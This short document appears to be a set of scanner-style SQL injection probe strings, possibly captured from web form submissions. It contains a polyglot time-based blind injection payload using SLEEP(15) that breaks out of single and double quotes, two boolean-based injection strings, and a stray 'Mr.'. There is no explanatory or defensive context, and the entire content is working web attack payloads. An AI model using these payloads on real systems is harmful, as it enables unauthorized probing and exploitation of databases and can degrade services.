(SELECT(0)FROM(SELECT(SLEEP(15)))V)/*'+(SELECT(0)FROM(SELECT(SLEEP(15)))V)+'"+(SELECT(0)FROM(SELECT(SLEEP(15)))V)+"*/

-1 OR 2+953-953-1=0+0+0+1

-1 OR 2+811-811-1=0+0+0+1 --

Mr.